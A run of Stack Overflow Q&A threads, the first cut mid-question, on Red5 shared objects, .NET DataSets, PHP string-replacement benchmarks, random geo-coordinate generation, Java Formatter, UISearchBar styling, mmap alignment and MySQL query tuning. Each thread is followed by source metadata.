so.addEventListener(SyncEvent.SYNC, onSync); so.connect(connection); } else { Alert.show("Unsuccessful Connection", "Information"); } private function onSync(event:SyncEvent):void { if(so.data["video"] != undefined) Alert.show(so.data["video"].toString(), "Information"); } on the server side i have: ISharedObject so; IServiceCapableConnection iconn; public static IScope iroom; /** {@inheritDoc} */ @Override public boolean connect(IConnection conn, IScope scope, Object[] params) { iconn = (IServiceCapableConnection)conn; if (!super.connect(conn, scope, params)) { return false; } System.out.println("Connected True"); return true; } /** {@inheritDoc} */ @Override public void disconnect(IConnection conn, IScope scope) { super.disconnect(conn, scope); } @Override public boolean roomStart(IScope room) { if (!super.roomStart(room)) return false; createSharedObject(room, "video", true); so = getSharedObject(room, "video"); System.out.println("Room created succesfully"); ISharedObjectListener listener = new SOEventListener(); so.addSharedObjectListener(listener); return true; } with listener on the client side i cant make output in console and see that rso is changed and what is current value, although im checking the persistence rso file on red5 server and the that look like everything is working and the only thing what is missing is opportunity to read value for all clients. I will appreciate any help. Thanks A: big problem appears not such a big. Problem was with encoding, which is AMF3 by default since AS3 and all i need to do, just change the encoding to AMF0. connection = new NetConnection(); connection.objectEncoding = ObjectEncoding.AMF0; connection.connect("rtmp://127.0.0.1/video/" + room_id); Hope that helps for anybody, because somehow there is not a lot information about things like these on the net.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620526", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: What's the purpose of Datasets? I want to understand the purpose of datasets when we can directly communicate with the database using simple SQL statements. Also, which way is better? Updating the data in dataset and then transfering them to the database at once or updating the database directly? A: I want to understand the purpose of datasets when we can directly communicate with the database using simple SQL statements. Why do you have food in your fridge, when you can just go directly to the grocery store every time you want to eat something? Because going to the grocery store every time you want a snack is extremely inconvenient. The purpose of DataSets is to avoid directly communicating with the database using simple SQL statements. The purpose of a DataSet is to act as a cheap local copy of the data you care about so that you do not have to keep on making expensive high-latency calls to the database. They let you drive to the data store once, pick up everything you're going to need for the next week, and stuff it in the fridge in the kitchen so that its there when you need it. Also, which way is better? Updating the data in dataset and then transfering them to the database at once or updating the database directly? You order a dozen different products from a web site. Which way is better: delivering the items one at a time as soon as they become available from their manufacturers, or waiting until they are all available and shipping them all at once? The first way, you get each item as soon as possible; the second way has lower delivery costs. Which way is better? How the heck should we know? That's up to you to decide! The data update strategy that is better is the one that does the thing in a way that better meets your customer's wants and needs. You haven't told us what your customer's metric for "better" is, so the question cannot be answered. What does your customer want -- the latest stuff as soon as it is available, or a low delivery fee? A: This page explains in detail in which cases you should use a Dataset and in which cases you use direct access to the databases A: Datasets support disconnected architecture. You can add local data, delete from it and then using SqlAdapter you can commit everything to the database. You can even load xml file directly into dataset. It really depends upon what your requirements are. You can even set in memory relations between tables in DataSet. And btw, using direct sql queries embedded in your application is a really really bad and poor way of designing application. Your application will be prone to "Sql Injection". Secondly if you write queries like that embedded in application, Sql Server has to do it's execution plan everytime whereas Stored Procedures are compiled and it's execution is already decided when it is compiled. Also Sql server can change it's plan as the data gets large. You will get performance improvement by this. Atleast use stored procedures and validate junk input in that. They are inherently resistant to Sql Injection. Stored Procedures and Dataset are the way to go. See this diagram: Edit: If you are into .Net framework 3.5, 4.0 you can use number of ORMs like Entity Framework, NHibernate, Subsonic. ORMs represent your business model more realistically. You can always use stored procedures with ORMs if some of the features are not supported into ORMs. For Eg: If you are writing a recursive CTE (Common Table Expression) Stored procedures are very helpful. You will run into too much problems if you use Entity Framework for that. A: I usually like to practice that, if I need to perform a bunch of analytical proccesses on a large set of data I will fill a dataset (or a datatable depending on the structure). That way it is a disconnected model from the database. But for DML queries I prefer the quick hits directly to the database (preferably through stored procs). I have found this is the most efficient, and with well tuned queries it is not bad at all on the db.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620543", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "7" }
Q: PHP strtr vs str_replace benchmarking I'm curious what the most performant method of doing string transformations is. Given a n input string and a set of translations, what method is the most efficient in general? I currently use strtr(), but have tested various looping methods, str_replace() with an array, etc. The strtr() method benchmarks the fastest on my system, depending on the translations, but I'm curious if there are faster methods I haven't thought of yet. If it's pertinent, my particular use case involves transforming 2-byte strings into ANSI color sequences for a terminal. Example: // In practice, the number of translations is much greater than one... $out = strtr("|rThis should be red", array('|r' => "\033[31m")); A: For simple replacements, strtr seems to be faster, but when you have complex replacements with many search strings, it appears that str_replace has the edge. A: I made a trivial benchmark for personal needs on the two functions. The goal is to change a lowercase 'e' to an uppercase 'E'. <?php $stime = time(); for ($i = 0; $i < 1000000; $i++) { str_replace('e', 'E', "Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit."); } echo time() - $stime . "\n"; ?> This code using str_replace runs in 6 seconds. Now the same with the strtr function : <?php $stime = time(); for ($i = 0; $i < 1000000; $i++) { strtr("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.", 'e', 'E'); } echo time() - $stime . "\n"; ?> It took only 4 seconds. So as stated by T0xicCode, for this particularly simple case, strtr is indeed faster than str_replace, but the difference is not so significant. A: strtr() performs best with straight character replacements. Longer strings give str_replace() the edge. For example, the code below yields the following results on my (shared web hosting) system: Execution timings on PHP 7.0.6: test_strtr(): 0.37670969963074; result: Lorem ipsum dolor sit amet\, \tconsectetur adipiscing elit\, \nsed do eiusmod \%tempor \'incididunt\' ut labore et DELIMITER dolore\; trunc8 \\magna \"aliqua\". test_str_ireplace(): 0.73557734489441; result: Lorem ipsum dolor sit amet, \tconsectetur adipiscing elit, \\nsed do eiusmod \%tempor \'incididunt\' ut labore et de-limiter dolore\; trunc8 \\magna \"aliqua\". test_str_replace(): 0.28119778633118; result: Lorem ipsum dolor sit amet, \tconsectetur adipiscing elit, \\nsed do eiusmod \%tempor \'incididunt\' ut labore et DELIMITER dolore\; trunc8 \\magna \"aliqua\". When we take out 'delimiter' and 'truncate', results become: Execution timings on PHP 7.0.6: test_strtr(): 0.14877104759216; result: Lorem ipsum dolor sit amet\, \tconsectetur adipiscing elit\, \nsed do eiusmod \%tempor \'incididunt\' ut labore et DELIMITER dolore\; truncate \\magna \"aliqua\". test_str_ireplace(): 0.58186745643616; result: Lorem ipsum dolor sit amet, \tconsectetur adipiscing elit, \\nsed do eiusmod \%tempor \'incididunt\' ut labore et DELIMITER dolore\; truncate \\magna \"aliqua\". test_str_replace(): 0.20531725883484; result: Lorem ipsum dolor sit amet, \tconsectetur adipiscing elit, \\nsed do eiusmod \%tempor \'incididunt\' ut labore et DELIMITER dolore\; truncate \\magna \"aliqua\". So, as of PHP 7.0.6, strtr() suffers a considerable penalty with longer replacements. The code: const LOOP = 333; const SQL_ESCAPE_MAP = array( // see https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#MySQL_Escaping "\x00" => '\x00', // NUL "\n" => '\n', // LF "\r" => '\r', // CR "\\" => '\\\\', // backslash "'" => "\'", // single quote '"' => '\"', // double quote "\x1a" => '\x1a', // SUB or \Z (substitute for an invalid character) "\t" => '\t', // TAB "\x08" => '\b', // BS '%' => '\%', // Percent '_' => '\_', // Underscore ';' => '\;', // Semicolon ',' => '\,', // Comma 'delimiter' => 'de-limiter', // SQL delimiter keyword 'truncate' => 'trunc8', // SQL truncate keyword ); const SQL_SEARCH = array("\x00", "\n", "\r", "\\", "'", '"', "\x1a", "\t", "\x08", "%", ";", 'delimiter', 'truncate'); const SQL_REPLACE = array('\x00','\n','\r','\\\\',"\'",'\"', '\x1a', '\t', '\b', '\%', '\;', 'de-limiter', 'trunc8'); const TEST_STRING = "Lorem ipsum dolor sit amet, \tconsectetur adipiscing elit, \nsed do eiusmod %tempor 'incididunt' ut labore et DELIMITER dolore; truncate \magna \"aliqua\"."; function test_strtr() { for($i= 0; $i < LOOP; $i++) { $new_string = strtr(TEST_STRING, SQL_ESCAPE_MAP); } return $new_string; } function test_str_ireplace() { for($i= 0; $i < LOOP; $i++) { $new_string = str_ireplace(SQL_SEARCH, SQL_REPLACE, TEST_STRING); } return $new_string; } function test_str_replace() { for($i= 0; $i < LOOP; $i++) { $new_string = str_replace(SQL_SEARCH, SQL_REPLACE, TEST_STRING); } return $new_string; } $timings = array( 'test_strtr' => 0, 'test_str_ireplace' => 0, 'test_str_replace' => 0, ); for($i= 0; $i < LOOP; $i++) { foreach(array_keys($timings) as $func) { $start = microtime(true); $$func = $func(); $timings[$func] += microtime(true) - $start; } } echo '<pre>Execution timings on PHP ' . phpversion('tidy') . ":\n"; foreach(array_keys($timings) as $func) { echo $func . '(): ' . $timings[$func] . '; result: ' . $$func . "\n"; } echo "</pre>\n"; Note: * *This sample code is not meant as a production alternative to mysqli::real_escape_string in lieu of a DB connection (there are issues around binary/multi-byte encoded input). *Clearly, the differences are minor. For mnemonic reasons (how matches and replacements are organized) I prefer the associative array that strtr takes natively. (Not that it can't be achieved with array_keys() for str_replace.) The differences in this case are definitely within the realm of micro-optimizations, and can be very different with different inputs. If you need to process huge strings thousands of times per second, benchmark with your specific data.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620549", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: Generate random coordinates around a location I'd like to have a function that accepts a geo location (Latitude, Longitude) and generates random sets of coordinates around it but also takes these parameters as a part of the calculation: * *Number Of Random Coordinates To Make *Radius to generate in *Min distance between the random coordinates in meters *The root coordinates to generate the locations around it. Example of how the generation would be: What's a good approach to achieve this? A: A brute force method should be good enough. for each point to generate "n" find a random angle get the x and y from the angle * a random radius up to max radius for each point already generated "p" calculate the distance between "n" and "p" if "n" satisfies the min distance add new point "n" In PHP, generating a new point is easy $angle = deg2rad(mt_rand(0, 359)); $pointRadius = mt_rand(0, $radius); $point = array( 'x' => sin($angle) * $pointRadius, 'y' => cos($angle) * $pointRadius ); Then calculating the distance between two points $distance = sqrt(pow($n['x'] - $p['x'], 2) + pow($n['y'] - $p['y'], 2)); ** Edit ** For the sake of clarifying what others have said, and after doing some further research (I'm not a mathematician, but the comments did make me wonder), here the most simple definition of a gaussian distribution : If you were in 1 dimension, then $pointRadius = $x * mt_rand(0, $radius); would be OK since there is no distinction between $radius and $x when $x has a gaussian distribution. In 2 or more dimensions, however, if the coordinates ($x,$y,...) have gaussian distributions then the radius $radius does not have a gaussian distribution. In fact the distribution of $radius^2 in 2 dimensions [or k dimensions] is what is called the "chi-squared distribution with 2 [or k] degrees of freedom", provided the ($x,$y,...) are independent and have zero means and equal variances. Therefore, to have a normal distribution, you'd have to change the line of the generated radius to $pointRadius = sqrt(mt_rand(0, $radius*$radius)); as others have suggested. A: as the other answer says, the simplest approach is going to be generating random points and then discarding ones that are too close to others (don't forget to check for min distance to central point too, if necessary). however, generating the random points is harder than explained. first, you need to select the radius at random. second, you need to have more points at large radii (because there's "more room" out there). so you cannot just make radius a uniform random number. instead, choose a number between 0 and $radius * $radius. then take the sqrt() of that to find the radius to plot at (this works because area is proportional to square of the radius). i don't know php (see the correction by Karolis in the comments), but from the other answer i think that would mean: $angle = deg2rad(mt_rand(0, 359)); $radius = sqrt(mt_rand(0, $max_radius * $max_radius)); then check that against the previous points as already described. finally, don't forget that you can reach a state where you can generate no more points, so you may want to put an upper limit on the "try and discard" loop to avoid hitting an infinite loop when the space is (close to) full. ps as a comment says on another answer, this is O(n^2) and so unsuitable for large numbers of points. you can address that to some extent by sorting the points by radius and only considering those within a difference of $min_distance, as long as $min_distance << $max_radius (as it is in your drawing); doing better than that requires a more complex solution (for example, at larger radii also using angle, or using a separate quad tree to store and compare positions). but for tens of points i imagine that would not be necessary. A: Generate random coordinates around a location function generateRandomPoint($centre, $radius) { $radius_earth = 3959; //miles //Pick random distance within $distance; $distance = lcg_value()*$radius; //Convert degrees to radians. $centre_rads = array_map( 'deg2rad', $centre ); //First suppose our point is the north pole. //Find a random point $distance miles away $lat_rads = (pi()/2) - $distance/$radius_earth; $lng_rads = lcg_value()*2*pi(); //($lat_rads,$lng_rads) is a point on the circle which is //$distance miles from the north pole. Convert to Cartesian $x1 = cos( $lat_rads ) * sin( $lng_rads ); $y1 = cos( $lat_rads ) * cos( $lng_rads ); $z1 = sin( $lat_rads ); //Rotate that sphere so that the north pole is now at $centre. //Rotate in x axis by $rot = (pi()/2) - $centre_rads[0]; $rot = (pi()/2) - $centre_rads[0]; $x2 = $x1; $y2 = $y1 * cos( $rot ) + $z1 * sin( $rot ); $z2 = -$y1 * sin( $rot ) + $z1 * cos( $rot ); //Rotate in z axis by $rot = $centre_rads[1] $rot = $centre_rads[1]; $x3 = $x2 * cos( $rot ) + $y2 * sin( $rot ); $y3 = -$x2 * sin( $rot ) + $y2 * cos( $rot ); $z3 = $z2; //Finally convert this point to polar co-ords $lng_rads = atan2( $x3, $y3 ); $lat_rads = asin( $z3 ); return array_map( 'rad2deg', array( $lat_rads, $lng_rads ) ); } Usage generateRandomPoint(array(3.1528, 101.7038), 4); A: Others have already explained the math you need. But I think the most problematic part is the performance. The brute force method to check the distances between the points can be good enough when you have 50 points only. But too slow when you have 1000 points or even more. For 1000 points this requires at least half a million operations. Therefore my suggestion would be to save all randomly generated points into B-tree or binary search tree (by x value and by y value). Using an ordered tree you will be able to get the points which are in the area [x ± min_distance, y ± min_distance] efficiently. And these are the only points that need to be checked, drastically reducing the number of needed operations.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620550", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "24" }
Q: How can i perform the following conversion? Formatter fmt=new Formatter(); Calendar cal=Calendar.getInstance(); fmt.format("%tc",cal); System.out.print(fmt); // Instead of System.out.print(fmt); i want to print the value of fmt on JTextArea.But as we know JTextArea accepts only String value.So how can i convert Formatter fmt into equivalent String value. A: textField.setText(fmt.toString()); A: Check out Formatter.toString(): Formatter fmt = new Formatter(); Calendar cal = Calendar.getInstance(); yourTextarea.setText(fmt.format("%tc",cal).toString()); Less code if you use String.format() which creates a Formatter internally: Calendar cal = Calendar.getInstance(); yourTextarea.setText(String.format("%tc", cal)); If you plan on doing this multiple times, you also might want to use append() instead of setText() as not to replace any previous content in your JTextArea, probably appending the value of System.getProperty("line.separator") to get the leading line break like println() does. A: Just call fmt.toString() which will give you a regular String (System.out.print does the same thing internally).
{ "language": "en", "url": "https://stackoverflow.com/questions/7620560", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "3" }
Q: Customize UISearchBar: Trying to get rid of the 1px black line underneath the search bar My question is already specified in the title: I would like to get rid of the black line drawn on the bottom of the UISearchBar. Any ideas? Here's an image of what I mean: UPDATE: I think that the line is part of the UITableView's tableHeaderView. I still don't know how to remove it. A: Try this searchBar.layer.borderWidth = 1; searchBar.layer.borderColor = [[UIColor lightGrayColor] CGColor]; A: Swift 4.2: controller.searchBar.layer.borderWidth = 1 controller.searchBar.layer.borderColor = UIColor(red: 255/255, green: 253/255, blue: 247/255, alpha: 1.0).cgColor Answer based on Ayush's answer. A: Why: So, I've dug into the API's trying to figure out why this is happening. Apparently whomever wrote the UISearchBar API is rasterizing the lines onto an image and setting it as it's backgroundImage. Solution: I propose a simpler solution, if you want to set the backgroundColor and get rid of the hairlines: searchBar.backgroundColor = <#... some color #> searchBar.backgroundImage = [UIImage new]; Or if you just need a background image without the hairlines: searchBar.backgroundImage = <#... some image #> A: I have 0.5px black horizontal lines both on top and on the bottom of my UISearchBar. The only way I had so far to get rid of them is by setting its style to Minimal: mySearchBar.searchBarStyle = UISearchBarStyleMinimal; A: This is ridiculous to have to go through hoops and bounds for this little 1 px line. I've been googling around for a couple of hours to get rid of it. I tried combos of different answer to get it to work. When I came back here I realized Oxcug already had it but it's in Objective-C and that's not native for me. Anyway here is the answer in Swift 5. If you want to have a color background inside the actual search textField I added that too. // these 2 lines get rid of the 1 px line searchBar.backgroundColor = .white searchBar.backgroundImage = UIImage() // this line will let you color the searchBar textField where the user actually types searchBar.searchTextField.backgroundColor = UIColor.lightGray A: Solution for XCode 10.1 Swift 4.2 A: Set the tableHeaderView to nil before putting your UISearchBar there. If that does not help, try to cover it up. First add your search bar to a generic and appropriately sized UIView (say, "wrapper") as a subview, then CGRect frame = wrapper.frame; CGRect lineFrame = CGRectMake(0,frame.size.height-1,frame.size.width, 1); UIView *line = [[UIView alloc] initWithFrame:lineFrame]; line.backgroundColor = [UIColor whiteColor]; // or whatever your background is [wrapper addSubView:line]; [line release]; And then add it to the tableHeaderView. self.tableView.tableHeaderView = wrapper; [wrapper release]; A: This question has already been solved but maybe my solution can help someone else. I had a similar problem, except I was trying to remove the 1px top border. If you subclass UISearchBar you can override the frame like this. - (void)setFrame:(CGRect)frame { frame.origin.y = -1.0f; [super setFrame:frame]; self.clipsToBounds = YES; self.searchFieldBackgroundPositionAdjustment = UIOffsetMake(0, 1.0f); } Or if you would like to fix the bottom pixel you could do something like this, (untested). - (void)setFrame:(CGRect)frame { frame.origin.y = 1.0f; [super setFrame:frame]; self.clipsToBounds = YES; self.searchFieldBackgroundPositionAdjustment = UIOffsetMake(0, -1.0f); } Only for simplicity of the example are the clipsToBounds and searchFieldBackgroundPositionAdjustment in the setFrame. Also the searchFieldBackgroundPositionAdjustment is only needed to re-center the search field. UPDATE It turns out that the tableView will shift 1px from updating the origin.y while the searchBar is active. It feels a little strange. I realized that the solution is as simple as setting, self.clipsToBounds = YES; A: I fixed this by adding a subview to the searchBar's view stack like so: CGRect rect = self.searchBar.frame; UIView *lineView = [[UIView alloc]initWithFrame:CGRectMake(0, rect.size.height-2,rect.size.width, 2)]; lineView.backgroundColor = [UIColor whiteColor]; [self.searchBar addSubview:lineView]; Here, self.searchBar is an UISearchBar pointer of my controller class. A: I used import UIKit class ViewController: UIViewController { @IBOutlet weak var searchBar: UISearchBar! override func viewDidLoad() { super.viewDidLoad() searchBar.backgroundImage = UIImage() // Removes the line And it worked like a charm :) A: Warning. This is a hack. Would like to know a better, more official way. You can use the pony debugger to figure out where in the subview hierarchy it is. I think the thing you are see is a private UIImageView called "separator" - (void)viewWillAppear:(BOOL)animated { [super viewWillAppear:animated]; for (UIView* view in self.searchBar.subviews) { if (view.frame.size.height == 1 && [view isKindOfClass:[UIImageView class]]) { view.alpha = 0; break; } } } A: You can use [[UISearchBar appearance] setSearchFieldBackgroundImage:[UIImage imageNamed:@"someImage.png"]forState:UIControlStateNormal]; on iOS 5+ to get rid of the line. A: what worked with me is, setting the searchbar barTintColor as the navbar color searchBar.barTintColor = UIColor.colorWithHexString(hexStr: "479F46") after testing, it solves the problem in both iOS 10.x and 11.x GIF :
{ "language": "en", "url": "https://stackoverflow.com/questions/7620564", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "56" }
Q: convert mysql dump file to access db I have mysql dump file and I need to convert it to ms access, I have no access to phpmyadmin so I can't use the programs that connect to the mysql db, so I need for a software to convert mysql dump file to ms access db. just i have this dump file in hand thanks if you can help
{ "language": "en", "url": "https://stackoverflow.com/questions/7620566", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: mmap and munmap behaviour The Open Group standard says that munmap should be called with a page aligned address, but there doesn't seem to be any requirement that mmap should be returning a page aligned address. Is this something you need to handle when you're writing portable code? A: mmap will only map whole pages, and can thus only return a page boundary. It's in the short description: mmap - map pages of memory (emphasis mine) A: mmap documentation does mention this requirement, although in an off-handed manner. on my mac, for example: [EINVAL] The offset argument was not page-aligned based on the page size as returned by getpagesize(3). http://pubs.opengroup.org/onlinepubs/009695399/functions/mmap.html also says [EINVAL] The addr argument (if MAP_FIXED was specified) or off is not a multiple of the page size as returned by sysconf(), or is considered invalid by the implementation. A: I think it's the most natural arrangement (that is, when both the physical and virtual addresses have the same page granularity and alignment). The whole purpose of page translation is to break the virtual address space into spans and independently map them onto blocks of physical memory (pages), with 1 span covering exactly 1 block (page). Even with pages of mixed sizes, the alignment is naturally preserved (e.g. regular page=4KB and large page=2GB/4GB on x86/64; some illustrations). A: If I understand it correctly, if MAP_FIXED is not specified, the behavior of mmap is implementation dependent. So the only portable way of using mmap is with MAP_FIXED, which means you have to provide an address that is page aligned. Otherwise you'll receive EINVAL.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620568", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "5" }
Q: How to optimize this mysql query? I have this query SELECT id FROM btn WHERE parentid =0 AND (mem_id =ANY(SELECT mem_id FROM network WHERE frd_id='401') || mem_id ='401') ORDER BY btn.date DESC LIMIT 0,20 & this query SELECT mem_id FROM net WHERE frd_id='401' gives me result like this mem_id 34 45 633 24 22 I want to optimize the above main query which is currently taking 46 second after scanning 13,373 records of btn table Please suggest me hw can I optimize this query? thnks A: You will want to index the values that you search on. So, based on the two above: parentid, frd_id, mem_id That should help considerably... A: SELECT DISTINCT b.id FROM btn b INNER JOIN network n ON (n.mem_id = b.mem_id) WHERE b.parentid = '0' AND ('401' IN (n.frd_id, n.mem_id)) ORDER BY b.date DESC LIMIT 20 OFFSET 0 Make sure to have indexes on btn.mem_id, btn.parentid, btn.date network.mem_id, network.frd_id
{ "language": "en", "url": "https://stackoverflow.com/questions/7620571", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }